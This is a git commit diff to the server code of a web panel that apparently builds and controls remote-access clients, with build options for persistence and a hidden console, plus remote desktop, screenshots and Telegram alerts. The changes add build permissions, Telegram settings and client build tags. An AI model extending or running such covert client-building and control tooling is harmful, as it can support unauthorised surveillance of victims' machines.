This commit is contained in:
KingKDot
2026-03-12 21:26:53 -05:00
parent 5da706bc88
commit 409ed35f5b
30 changed files with 1097 additions and 36 deletions
@@ -170,6 +170,8 @@ export async function handleAuthRoutes(
role: user.role,
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "",
}),
{
headers: { "Content-Type": "application/json" },
@@ -6,6 +6,7 @@ import { deleteBuild, getAllBuilds, getBuild } from "../../db";
import { requirePermission } from "../../rbac";
import { logger } from "../../logger";
import path from "path";
import fs from "fs";
import { resolveRuntimeRoot } from "../runtime-paths";
type RequestIpProvider = {
@@ -35,7 +36,7 @@ export async function handleBuildRoutes(
}
if (req.method === "POST" && url.pathname === "/api/build/start") {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const body = await req.json();
const {
@@ -131,22 +132,40 @@ export async function handleBuildRoutes(
persistenceMethod: safePersistenceMethod,
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
});
return Response.json({ buildId });
}
if (req.method === "GET" && url.pathname === "/api/build/list") {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const builds = getAllBuilds();
return Response.json({ builds });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const buildId = decodeURIComponent(url.pathname.split("/")[3]);
const build = getBuild(buildId);
if (build?.files) {
const rootDir = resolveRuntimeRoot();
const outDir = path.join(rootDir, "dist-clients");
for (const file of build.files) {
try {
const filePath = path.join(outDir, file.filename);
if (fs.existsSync(filePath)) {
fs.unlinkSync(filePath);
logger.info(`[build:delete] Removed file: ${filePath}`);
}
} catch (err) {
logger.warn(`[build:delete] Failed to remove file ${file.filename}:`, err);
}
}
}
buildManager.deleteBuildStream(buildId);
deleteBuild(buildId);
@@ -161,11 +180,12 @@ export async function handleBuildRoutes(
success: true,
});
logger.info(`[build:delete] Build ${buildId.substring(0, 8)} deleted by ${user.username}`);
return Response.json({ success: true });
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
@@ -219,7 +239,7 @@ export async function handleBuildRoutes(
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const buildId = url.pathname.split("/")[3];
const build = buildManager.getBuildStream(buildId);
@@ -248,7 +268,7 @@ export async function handleBuildRoutes(
}
if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
requirePermission(user, "clients:control");
requirePermission(user, "clients:build");
const rawName = url.pathname.split("/api/build/download/")[1] || "";
let fileName = rawName;
@@ -4,6 +4,7 @@ import { getConfig, updateSecurityConfig, updateTlsConfig } from "../../config";
import { getClientMetricsSummary } from "../../db";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
import { runCertbotSetup } from "../certbot-setup";
type MiscRouteDeps = {
@@ -66,6 +67,35 @@ export async function handleMiscRoutes(
});
}
if (url.pathname === "/api/settings/telegram") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "GET") {
const chatId = getUserTelegramChatId(user.userId);
return Response.json({ telegramChatId: chatId || "" });
}
if (req.method === "PUT") {
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const chatId = typeof body?.telegramChatId === "string" ? body.telegramChatId.trim() : null;
const result = setUserTelegramChatId(user.userId, chatId || null);
if (!result.success) {
return Response.json({ error: result.error }, { status: 400 });
}
return Response.json({ success: true, telegramChatId: chatId || "" });
}
}
if (url.pathname === "/api/settings/security") {
const user = await authenticateRequest(req);
if (!user) {
@@ -203,6 +203,10 @@ export async function handlePageRoutes(
return serveLoginOrUnauthorized(deps);
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden", { status: 403 });
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
@@ -14,6 +14,7 @@ import {
removeUserClientAccessRule,
setUserClientAccessRule,
setUserClientAccessScope,
setUserCanBuild,
updateUserPassword,
updateUserRole,
} from "../../users";
@@ -242,6 +243,13 @@ export async function handleUsersRoutes(
return Response.json({ error: result.error }, { status: 400 });
}
if (access === "allow") {
const currentScope = getUserClientAccessScope(userId);
if (currentScope === "none") {
setUserClientAccessScope(userId, "allowlist");
}
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
@@ -316,6 +324,34 @@ export async function handleUsersRoutes(
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/can-build$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
const body = await req.json();
const canBuild = !!body?.canBuild;
const result = setUserCanBuild(userId, canBuild);
if (!result.success) {
return Response.json({ error: result.error }, { status: 400 });
}
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `${canBuild ? "Granted" : "Revoked"} build permission for ${targetUser.username}`,
success: true,
});
return Response.json({ success: true, canBuild });
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
@@ -79,6 +79,7 @@ type WsLifecycleDeps = {
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
};
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
@@ -188,6 +189,11 @@ export function handleWebSocketMessage(
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
});
(ws as any).data.wasKnown = true;
const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag : "";
if (buildTag) {
deps.handleBuildTagConnection(info.id, buildTag);
}
}
break;
}